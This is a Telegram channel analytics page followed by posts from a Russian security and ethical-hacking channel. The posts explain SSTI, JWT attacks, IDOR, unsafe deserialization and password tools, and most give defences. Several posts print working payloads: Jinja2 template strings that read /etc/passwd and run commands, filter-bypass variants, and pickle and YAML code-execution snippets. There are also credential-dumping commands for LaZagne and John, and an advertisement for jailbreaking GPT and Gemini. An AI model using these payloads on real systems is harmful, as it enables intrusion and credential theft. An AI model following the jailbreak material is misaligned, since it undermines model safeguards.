fa
Feedback
CodeGuard: CyberSec Edition

CodeGuard: CyberSec Edition

کانال بسته

Канал по ИБ и этичному хакингу. Связь: @Arakcheev_Ruslan Ссылка: @invite_CodeGuard Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy

نمایش بیشتر

📈 تحلیل کانال تلگرام CodeGuard: CyberSec Edition

کانال CodeGuard: CyberSec Edition بازیگری فعال است. در حال حاضر جامعه شامل 12 526 مشترک است و جایگاه 10 134 را در دسته فناوری و برنامه‌ها و رتبه 52 701 را در منطقه روسيا دارد.

📊 شاخص‌های مخاطب و پویایی

از زمان ایجاد در невідомо، پروژه رشد سریعی داشته و 12 526 مشترک جذب کرده است.

بر اساس آخرین داده‌ها در تاریخ 20 ژوئن, 2026، کانال فعالیت پایداری دارد. در ۳۰ روز گذشته تغییر اعضا برابر 517 و در ۲۴ ساعت گذشته برابر 50 بوده و همچنان دسترسی گسترده‌ای حفظ شده است.

  • وضعیت تأیید: تأیید نشده
  • نرخ تعامل (ER): میانگین تعامل مخاطب 12.15% است و در ۲۴ ساعت نخست پس از انتشار، محتوا معمولاً 6.95% واکنش نسبت به کل مشترکان کسب می‌کند.
  • دسترسی پست‌ها: هر پست به طور میانگین 1 522 بازدید دریافت می‌کند. در اولین روز معمولاً 871 بازدید جمع‌آوری می‌شود.
  • واکنش‌ها و تعامل: مخاطبان به‌طور فعال حمایت می‌کنند؛ میانگین واکنش به هر پست 4 است.
  • علایق موضوعی: محتوا بر موضوعات کلیدی مانند codeguard, pysec, docker, grep, контейнер تمرکز دارد.

📝 توضیح و سیاست محتوایی

نویسنده این فضا را محل بیان دیدگاه‌های شخصی توصیف می‌کند:
Канал по ИБ и этичному хакингу. Связь: @Arakcheev_Ruslan Ссылка: @invite_CodeGuard Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy

به لطف به‌روزرسانی‌های پرتکرار (آخرین داده در تاریخ 21 ژوئن, 2026)، کانال همواره به‌روز و دارای دسترسی بالاست. تحلیل‌ها نشان می‌دهد مخاطبان به‌طور فعال با محتوا تعامل دارند و آن را به نقطه اثرگذاری مهم در دسته فناوری و برنامه‌ها تبدیل کرده‌اند.

12 526
مشترکین
+5024 ساعت
+1777 روز
+51730 روز
آرشیو پست ها
👩‍💻 SSTI: инъекции в шаблонизаторы — от детекта до RCE Server-Side Template Injection - когда пользовательский ввод попадае
👩‍💻 SSTI: инъекции в шаблонизаторы — от детекта до RCE Server-Side Template Injection - когда пользовательский ввод попадает прямо в шаблон. Результат? Выполнение кода на сервере. Разбираем по шагам. 1️⃣ Детекция уязвимости Базовые полиглот-пейлоады для теста:
${{<%[%'"}}%\
{{7*7}}
${7*7}
<%= 7*7 %>
Если видите 49 в ответе - шаблонизатор исполняет код. 2️⃣ Идентификация движка
{{7*'7'}} → 7777777 = Jinja2/Twig
{{7*'7'}} → 49 = Twig
${7*7} → 49 = Mako/FreeMarker
#{7*7} → 49 = Ruby ERB
Автоматизация через tplmap:
git clone https://github.com/epinna/tplmap
python tplmap.py -u "http://target.com/?name=test"
3️⃣ Эксплуатация Jinja2 (Flask) Чтение файлов:
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
RCE через subprocess:
{{ ''.__class__.__mro__[1].__subclasses__()[408]('id', shell=True, stdout=-1).communicate() }}
Поиск нужного класса:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
  {% if 'Popen' in c.__name__ %}
    {{ loop.index0 }}: {{ c }}
  {% endif %}
{% endfor %}
4️⃣ Обход WAF и фильтров Без точек и скобок:
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f') }}
Конкатенация строк:
{{ ''['__cla'+'ss__'] }}
Hex-кодирование:
{{ ''['\x5f\x5fclass\x5f\x5f'] }}
5️⃣ Защита
🔴Никогда не передавайте пользовательский ввод в render_template_string() 🔴Используйте sandbox-режим (Jinja2 SandboxedEnvironment) 🔴Экранируйте всё через | e фильтр 🔴CSP и мониторинг аномальных запросов
😈 CodeGuard: PySec Edition | Чат

⚡️Слита База из 1000+ топовых курсов и материалов для айтишников Отсортировали их для вашего удобства и выложили в телеграм-каналы по категориям: 🤖 Нейросети – 855+ материалов 🖥 Python — 1558+ материалов 👩‍💻 Frontend — 1241+ материалов 👩‍💻 Backend — 1095+ материалов ⚙️ Программы — 978+ материалов 📚 Книги по IT — 779+ материалов Всё лучшее про IT бесплатно — уже на Базе 🚀

JWT: аудит токенов на уязвимости — разбор с примерами и инструментами JSON Web Tokens (JWT) — популярный стандарт для аутенти
JWT: аудит токенов на уязвимости — разбор с примерами и инструментами JSON Web Tokens (JWT) — популярный стандарт для аутентификации, но часто с дырами: слабые ключи, none-алгоритм или подделка подписей. Вот пошаговый гид по аудиту и эксплуатации. 1️⃣ Декодирование и базовый анализ Начните с jwt.io или CLI:
pip install pyjwt  
python3 -c "import jwt; print(jwt.decode('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...', algorithms=['HS256']))"  
Проверьте: алгоритм (alg), payload (claims вроде exp, iss) и подпись. 2️⃣ Классические уязвимости
🔵None-alg атака: Меняйте "alg" на "none" и удалите подпись. 🔵Key confusion: Если RS256, подмените публичный ключ на секретный (HS256).
Инструмент: jwt_tool — автоматизирует тесты:
git clone https://github.com/ticarpi/jwt_tool  
python3 jwt_tool.py eyJhbGciOiJSUzI1NiJ9... -T  
3️⃣ Практические команды для пентеста Генерация слабого токена (тест):
import jwt  
token = jwt.encode({'user': 'admin'}, 'weakkey', algorithm='HS256')  
print(token)  
Проверка слабых ключей (wordlist):
jwt_tool.py YOUR_TOKEN.txt -C -d rockyou.txt  
Массовый аудит логов/токенов:
grep -r "eyJ" /var/log/app/ | jwt_tool.py -b -vv  
4️⃣ Защита и лучшие практики
🔴Всегда проверяйте "alg" на сервере (только whitelisted). 🔴Используйте сильные ключи (>256 бит) и ротацию. 🔴Добавьте "kid" с валидацией и JWE для шифрования. 🔴Мониторьте: ELK или Splunk для аномальных JWT.
Освойте эти техники и ваши аудиты аутентификации станут на голову выше. 😈 CodeGuard: PySec Edition | Чат

👁 pspy: шпионаж за процессами без root Обычно, чтобы увидеть чужие процессы, cron-задачи или команды админа, нужны права roo
👁 pspy: шпионаж за процессами без root Обычно, чтобы увидеть чужие процессы, cron-задачи или команды админа, нужны права root. pspy ломает это ожидание. Что это: Standalone binary для Linux, который использует особенности /proc и событий ядра, чтобы отслеживать запуск процессов. Что умеет pspy:
🔵 Видит запуск процессов в реальном времени 🔵 Показывает команды, аргументы, пользователей 🔵 Отлавливает cron, systemd timers, scripts 🔵 Работает без root и без ptrace 🔵 Не требует установки и зависимостей
1️⃣ Запуск
chmod +x pspy64
./pspy64
2️⃣ Пример вывода
2025/01/03 12:01:00 CMD: UID=0 PID=1234 | /bin/bash /opt/backup.sh
2025/01/03 12:01:00 CMD: UID=0 PID=1235 | tar czf /tmp/backup.tar.gz /home/*
Вы сразу видите:
🟢пользователь UID=0 🟢путь к скрипту 🟢аргументы 🟢момент запуска
3️⃣ Почему это опасно
🔴 cron-скрипты часто пишутся небезопасно 🔴 пути без абсолютных бинарей 🔴 writable каталоги 🔴 утечки паролей через аргументы команд
4️⃣ Как это работает изнутри
🔵 Чтение /proc в цикле 🔵 Отслеживание fork/exec событий 🔵 Сравнение snapshot-ов процессов 🔵 Никакого ptrace и CAP_SYS_PTRACE
5️⃣ Где применяется:
🟢 Linux privilege escalation 🟢 Red Team и post-exploitation 🟢 CTF (medium-hard) 🟢 Аудит cron и сервисных скриптов
😈 CodeGuard: PySec Edition | Чат

🧠 ptrace: как Linux позволяет процессам шпионить друг за другом В Linux один процесс может полностью контролировать другой.
🧠 ptrace: как Linux позволяет процессам шпионить друг за другом В Linux один процесс может полностью контролировать другой. Читать память, перехватывать syscalls, менять регистры. Это делает ptrace. Что это: Системный вызов ядра Linux для трассировки и управления процессами. Основа отладчиков, strace и антиотладки. Что умеет:
🔴 Читать и писать память другого процесса 🔴 Останавливать выполнение на каждом syscall 🔴 Менять регистры CPU на лету 🔴 Инжектить код и управлять потоком выполнения
Минимальный пример (C):
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

ptrace(PTRACE_TRACEME, 0, NULL, NULL);
execl("/bin/ls", "ls", NULL);
Перехват syscalls (идея):
ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
waitpid(pid, NULL, 0);
Где применяется:
🟢 gdb и отладчики 🟢 strace, ltrace 🟢 Античит и антидебаг 🟢 Reverse engineering и malware analysis
👩‍💻 CodeGuard: Linux | Чат

LaZagne: извлечение сохранённых паролей в системе 🔑 Пароли часто не только подбирают - их просто вытаскивают из памяти и кон
LaZagne: извлечение сохранённых паролей в системе 🔑 Пароли часто не только подбирают - их просто вытаскивают из памяти и конфигов. LaZagne - это инструмент для аудита сохранённых паролей в операционной системе. Он показывает, какие учетные данные уже лежат в открытом или слабо защищённом виде. LaZagne работает без брутфорса, он извлекает уже сохранённые данные. Что умеет LaZagne? Он поддерживает десятки источников:
🔵 Браузеры (логины, пароли, cookies, иногда токены) 🔵 Wi-Fi Пароли от сохранённых беспроводных сетей 🔵 Почтовые клиенты 🔵 Базы данных и сервисы 🔵 Системные и сторонние приложения
Представьте, что вы специалист по безопасности и проверяете, какие секреты может получить атакующий после входа в систему пользователя. 1️⃣ Запуск базового сканирования В Linux / Windows (Python-версия):
python3 laZagne.py all
LaZagne автоматически:
🔵определит ОС 🔵просканирует все поддерживаемые модули 🔵выведет найденные пароли
2️⃣ Сканирование конкретного модуля Например, только браузеры:
python3 laZagne.py browsers
Или только Wi-Fi:
python3 laZagne.py wifi
3️⃣ Пример результата
[+] Chrome passwords found !!!
URL: https://mail.example.com
Login: admin@example.com
Password: Summer2023!
4️⃣ Как это работает изнутри
🔵 DPAPI (Windows) LaZagne использует системные API для расшифровки данных, которые ОС считает «доверенными». 🔵 Чтение конфигов Многие программы хранят пароли в XML / JSON / INI файлах. 🔵 Memory & credential scraping Частично извлекает данные из памяти приложений.
5️⃣ Профилактика: как защититься?
🔴 Используйте менеджеры паролей с мастер-паролем (KeePassXC, Bitwarden) 🔴 Отключайте сохранение паролей в браузерах на рабочих машинах 🔴 Используйте раздельные учётные записи (пользователь ≠ администратор) 🔴 Включайте полное шифрование диска (LUKS / BitLocker) 🔴 Для корпоративной среды - Credential Guard и AppLocker
😈 CodeGuard: PySec Edition | Чат

Индийский хакер Чиккен Тика Масала взломал GPT 5.0 и снял все внутренние ограничения Индус настроил GPT под любые задачи, нач
Индийский хакер Чиккен Тика Масала взломал GPT 5.0 и снял все внутренние ограничения Индус настроил GPT под любые задачи, начиная от взлома аккаунтов до изготовления оружия. В своём блоге «Only AI» он публикует все найденные баги и фичи, пока разрабы их не прикрыли: — Как пользоваться Veo 3 и другими видео-генераторами бесплатно — Как генерить фото 18+ в Midjourney — Отключение ограничений в Gemini, GPT и Perplexity Секретные рецепты и промты индуса собраны здесь — @onlyAI 🤫

🧬 Insecure Deserialization: когда данные становятся кодом Ты думаешь, что принимаешь данные. На самом деле — запускаешь логи
🧬 Insecure Deserialization: когда данные становятся кодом Ты думаешь, что принимаешь данные. На самом деле — запускаешь логику злоумышленника. 1️⃣ В чём суть Приложение принимает сериализованный объект и без проверки восстанавливает его в памяти. Если формат поддерживает методы/хуки — привет RCE. 2️⃣ Где это встречается
🔴 Java (Serializable) 🔴 PHP (unserialize) 🔴 Python (pickle) 🔴 .NET (BinaryFormatter)
Типичный антипример:
pickle.loads(user_input)
3️⃣ Чем это заканчивается
🔴 удалённое выполнение кода 🔴 чтение файлов 🔴 SSRF / SQLi через chain 🔴 полный захват приложения
4️⃣ Почему это трудно заметить
👍 выглядит как «обычные данные» 👍 часто спрятано в cookies / cache 👍 срабатывает только с gadget-chain
5️⃣ Как защищаться
✔️ не десериализуй непроверенные данные ✔️ используй JSON / protobuf ✔️ запрети магические методы ✔️ sandbox + least privilege
Полезно? ❤️ — Да 👍 — Знал 😈 CodeGuard: PySec Edition | Чат

🦈 WireShark Полный курс Часть-1 Добро пожаловать в первую часть нашего полного курса по Wireshark! Этот курс предназначен дл
🦈 WireShark Полный курс Часть-1 Добро пожаловать в первую часть нашего полного курса по Wireshark! Этот курс предназначен для тех, кто хочет овладеть мощными навыками анализа сетевого трафика и научиться эффективно использовать один из самых популярных инструментов для мониторинга и отладки сетей – Wireshark. 📱 Смотреть на Ютуб 😈 CodeGuard: PySec Edition | Чат

Изоляция рунета ближе, чем ты думаешь Loading … ██████████████] 99% Роскомнадзору дали карт-бланш на блокировки, а «белые спи
Изоляция рунета ближе, чем ты думаешь
Loading ██████████████] 99%
Роскомнадзору дали карт-бланш на блокировки, а «белые списки» сайтов тестируют уже в десятках регионов. И гайки будут закручиваться только сильнее. Чтобы в одночасье не лишиться доступа к свободному Интернету, просто сохрани Only Hack. Тут профессиональный хакер делится фишками, с которыми доступ к глобальной сети у тебя будет даже в случае ядерного апокалипсиса. Не жди момента «Х». Перестрахуйся подпиской.

🔐 IDOR: когда доступ есть, но проверок нет Ты авторизован. Но доступ получаешь чужой. 1️⃣ В чём суть /api/user/123 → /api/us
🔐 IDOR: когда доступ есть, но проверок нет Ты авторизован. Но доступ получаешь чужой. 1️⃣ В чём суть
/api/user/123 → /api/user/124
И внезапно смотришь не свои данные. 2️⃣ Откуда берётся
🔴 нет проверки прав 🔴 логика «фронт не даст» 🔴 UUID ≠ защита 🔴 прямые ссылки на объекты
3️⃣ Чем это кончается
🔴 утечка персональных данных 🔴 доступ к чужим заказам / файлам 🔴 полный обход бизнес-логики
4️⃣ Как закрываться
✔️ проверяй права на каждый объект ✔️ связывай object с user ✔️ deny by default ✔️ тестируй негативные кейсы
Полезно? ❤️ — Да 👍 — Нет 😈 CodeGuard: PySec Edition | Чат

🔐 Prototype Pollution: баг, который ломает всю логику JS Ты думаешь, что меняешь объект. На деле, ты меняешь всё приложение.
🔐 Prototype Pollution: баг, который ломает всю логику JS Ты думаешь, что меняешь объект. На деле, ты меняешь всё приложение. 1️⃣ В чём суть В JavaScript объекты наследуются от
Object.prototype.
Если туда записать:
proto.isAdmin = true
Все объекты внезапно:
user.isAdmin === true
2️⃣ Откуда это берётся
🔴 небезопасные merge’ы 🔴 Object.assign(user, input) 🔴 lodash.merge со входными данными
3️⃣ Чем это кончается
🔴 auth bypass 🔴 RCE через template engines 🔴 логика приложения «поехала»
4️⃣ Как закрываться
✔️ deep clone без prototype ✔️ Object.create(null) ✔️ обновляй lodash ✔️ валидируй входные данные
Было полезно? ❤️ — Да 👍 — Нет 😈 CodeGuard: PySec Edition | Чат

🎉 Друзья, с Новым 2026 годом! Мы с вами — настоящая команда единомышленников: за этот год, подписались более 24тысячи подпис
🎉 Друзья, с Новым 2026 годом! Мы с вами — настоящая команда единомышленников: за этот год, подписались более 24тысячи подписчиков на сетку CodeGuard и вышло больше 2500 полезных постов! Ценю каждого — вы сердце комьюнити! ❤️ Тебе, братик (или сестрёнка), желаю в 2026-м только побед: иди к целям, пусть все твои мечты сбываются, а планы осуществляются — знаю, у тебя получится!) 🚀 Ваши любимые каналы 🤒 CodeGuard: OSINT 🖥 CodeGuard: Academy 📱 CodeGuard: SciencePop ☁️ CodeGuard: PySec Edition 📱 CodeGuard: Python 👩‍💻 CodeGuard: Linux 💰 CodeGuard: Vacancy IT 📲 CodeGuard: Chat 🖥 CodeGuard: Archive N3tHunterLab Спасибо за каждую реакцию, репост и вопрос в чате — в 2026-м продолжим кодить без багов, пентестить и расти! Обнимаю каждого ❤️

🎄 return 2026; Год пролетел как O(1), ощущался как O(n!). Были и kernel panic по утрам, и моменты когда хотелось sudo rm -rf
🎄 return 2026; Год пролетел как O(1), ощущался как O(n!). Были и kernel panic по утрам, и моменты когда хотелось sudo rm -rf /* всему. Но мы здесь, живые, всё ещё в строю. Чему научил 2025:
🔵 Legacy код в голове можно рефакторить 🔵 Иногда лучший фикс — это sleep(86400) и свежий взгляд 🔵 Бэкапы нужны везде — в проектах, отношениях, голове
На 2026:
while alive:
    learn_something_new()
    build_cool_stuff()
    touch_grass()  # важно
    sleep(enough=True)  # критично
Серьёзно: спасибо, что читаете. Канал для вас - для тех, кто в 3 ночи дебажит эксплойт и кайфует от красивых ROP-цепочек. Мы странные люди. И это круто. В 2026 - больше контента, глубже разборы. Идеи кидайте в чат.
$ checksec ./2026
Bugs:         Inevitable
Opportunities: Enabled
Your potential: No limits
Happy New Year, хакеры. 🥂 🔥 CodeGuard | Чат

🚨 assert: защита, которая исчезает в продакшене Используешь assert для проверки прав доступа или валидации? В продакшене эти
🚨 assert: защита, которая исчезает в продакшене Используешь assert для проверки прав доступа или валидации? В продакшене эти проверки могут просто не существовать. Проблема:
def delete_user(user_id, current_user):
    assert current_user.is_admin, "Access denied"
    db.delete(user_id)
Выглядит безопасно. Но нет. Что происходит:
# Разработка — assert работает
python app.py

# Продакшен с оптимизацией — assert удаляется полностью
python -O app.py
Флаг -O (optimize) удаляет все assert-ы из байткода. Gunicorn, uWSGI, некоторые Docker-образы включают его по умолчанию. Проверь прямо сейчас:
import sys
print(sys.flags.optimize)  # 0 = норм, 1+ = assert не работает
Где это опасно:
🔵 Проверки авторизации 🔵 Валидация входных данных 🔵 Проверки бизнес-логики 🔵 Всё, что влияет на безопасность
Правильно:
def delete_user(user_id, current_user):
    if not current_user.is_admin:
        raise PermissionError("Access denied")
    db.delete(user_id)
assert можно использовать для:
🔵 Отладки во время разработки 🔵 Документирования инвариантов 🔵 Тестов
Найти проблемные места:
grep -rn "assert.*is_admin\|assert.*permission\|assert.*auth" --include="*.py"
assert для дебага, не для безопасности. Если проверка важна - используй if + raise. 😈 CodeGuard: PySec Edition | Чат

📂 Шпаргалка по инструментам кибербеза. 😈 CodeGuard: PySec Edition | Чат
📂 Шпаргалка по инструментам кибербеза. 😈 CodeGuard: PySec Edition | Чат

Привет. Вот тебе самые топовые каналы по IT! ⚙️ Free Znanija (IT) — Самая огромная коллекция платных курсов, которые можно скачать бесплатно; 👩‍💻 IT Books — Самая огромная библиотека книг; 💻 Hacking & InfoSec Base — Крутой блог белого хакера; 🛡 CyberGuard — Всё про ИБ; 🤔 ИБ Вакансии — Всё, чтобы найти работу в ИБ; 👩‍💻 linux administration — Всё про Линукс; 👩‍💻 Программистика — Python, python и ещё раз python; 👩‍💻 GameDev Base — Всё про GameDev; 😆 //code — Самые топовые мемы по IT: Подпишись, чтобы не потерять!

🐍 yaml.load(): второй pickle, о котором забыли Все знают про опасность pickle. Но yaml.load() делает то же самое - и это почему-то игнорируют. Уязвимый код:
import yaml

data = yaml.load(user_input)  # RCE готов
Payload:
!!python/object/apply:os.system ["whoami"]
Одна строка - и у атакующего shell. Где встречается:
🔵 Парсинг конфигов из внешних источников 🔵 API, принимающие YAML 🔵 CI/CD пайплайны с пользовательскими .yml 🔵 Kubernetes-манифесты от пользователей
Правильно:
# Всегда используй safe_load
data = yaml.safe_load(user_input)

# Или явно укажи Loader
data = yaml.load(user_input, Loader=yaml.SafeLoader)
safe_load() не поддерживает конструкцию !!python/object — RCE невозможен. Проверить проект:
# Найти все небезопасные вызовы
grep -r "yaml.load(" --include="*.py" | grep -v "safe_load\|SafeLoader"
Мораль: если видишь yaml.load() без SafeLoader - это дыра. 😈 CodeGuard: PySec Edition | Чат

Pickle Deserialization: скрытая бомба в вашем Python-коде 🧨 Модуль pickle — стандартный способ сериализации объектов в Python. И он же — одна из самых опасных дыр, о которой многие забывают. В чём проблема? pickle.loads() при десериализации выполняет произвольный код. Это не баг — это фича. И злоумышленники это обожают. Как выглядит атака:
import pickle
import base64

class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('whoami',))

# Создаём вредоносный payload
payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload)
Теперь любой сервер, который сделает pickle.loads() на этих данных — выполнит команду. Reverse shell, удаление файлов, что угодно. Где это встречается в реальности:
🔴 Redis + Python — если храните сериализованные объекты 🔴 Flask sessions — при неправильной настройке 🔴 ML-модели — .pkl файлы из интернета (да, те самые с Hugging Face и Kaggle) 🔴 Распределённые системы — Celery, межсервисное общение 🔴 Кэширование — самописные решения
Проверка на уязвимость: Инструмент fickling анализирует pickle-файлы на вредоносность:
pip install fickling
fickling --check-safety model.pkl
Как защититься:
🔴 Никогда не делайте pickle.loads() на данных из недоверенных источников 🔴 Используйте безопасные альтернативы: json, msgpack, protobuf 🔴 Для ML-моделей — формат safetensors вместо pickle 🔴 Если pickle неизбежен — подписывайте данные (HMAC) и проверяйте подпись до десериализации
import hmac
import hashlib

def safe_pickle_loads(data: bytes, key: bytes):
    signature, payload = data[:32], data[32:]
    expected = hmac.new(key, payload, hashlib.sha256).digest()
    if not hmac.compare_digest(signature, expected):
        raise ValueError("Invalid signature")
    return pickle.loads(payload)
Мораль: pickle — это eval() в овечьей шкуре. Относитесь к нему соответственно. 😈 CodeGuard: PySec Edition | Чат

John the Ripper: инструмент для аудита стойкости паролей ⌨️ Пароли часто самое слабое звено в безопасности. John the Ripper (
John the Ripper: инструмент для аудита стойкости паролей ⌨️ Пароли часто самое слабое звено в безопасности. John the Ripper (John) — это мощный инструмент для проверки их стойкости, который позволяет оценить, насколько легко пароль может быть подобран злоумышленником. Он используется специалистами по кибербезопасности для аудита собственных систем и легального тестирования на проникновение. John умеет работать с десятками форматов хешей. Вот основные:
🔵Linux /etc/shadow: Современные системы используют sha512crypt ($6$), sha256crypt ($5$) или bcrypt ($2b$). Важно: это не "чистый" SHA-512, а специальная медленная функция (KDF), созданная для защиты от подбора. 🔵Windows: Хеши NTLM (из SAM-файлов). 🔵Веб-приложения и базы данных: MD5, SHA-1, SHA-256 (часто без соли, что упрощает подбор). Архивы и документы: Пароли от ZIP, RAR, PDF и файлов Microsoft Office.
Базовый сценарий: Аудит паролей в Linux Представьте, что вы системный администратор и хотите проверить, нет ли в вашей системе учетных записей со слабыми паролями. 1️⃣ Подготовка хешей John не работает с файлом /etc/shadow напрямую. Нужно объединить его с /etc/passwd с помощью утилиты unshadow.
# Объединяем файлы, чтобы John правильно идентифицировал пользователей
sudo unshadow /etc/passwd /etc/shadow > users.hash
2️⃣ Запуск атаки по словарю Самый быстрый метод — проверить пароли по известным словарям слабых паролей (например, rockyou.txt).
# Указываем формат хеша для точности и скорости (для Ubuntu/Debian это обычно sha512crypt)
john --format=sha512crypt users.hash --wordlist=rockyou.txt
John начнет перебор. Если пароль найден в словаре, он будет сохранен. 3️⃣ Просмотр результатов Чтобы увидеть, какие пароли были найдены, используйте команду: john --show users.hash Результат (пример):
2 password hashes cracked, 15 left
Вывод: John обнаружил в системе две учетные записи со слабыми паролями, известными из публичных словарей. Это критическая уязвимость. Как это работает изнутри:
🔵Атака по словарю (Dictionary): Быстрая проверка пароля против заранее подготовленного списка (например, password123, qwerty). 🔵Перебор (Brute-force): Методичный перебор всех возможных комбинаций символов. Мощный, но очень медленный. 🔵Гибридная атака (Hybrid): Комбинация словаря и перебора. К словам из списка добавляются цифры или символы (например, password123).
Профилактика: Как защититься?
🔴Используйте длинные и сложные пароли. Идеально — 3-4 случайных слова через дефис (кофе-дождь-радуга-42). 🔴Применяйте менеджеры паролей (KeePass, Bitwarden). Они генерируют и хранят уникальные сложные пароли для каждого сервиса. 🔴 Включайте двухфакторную аутентификацию (2FA) везде, где это возможно. 🔴Для серверов: Настройте политику блокировки учетных записей после нескольких неудачных попыток входа и используйте аутентификацию по SSH-ключам вместо паролей.
😈 CodeGuard: PySec Edition | Чат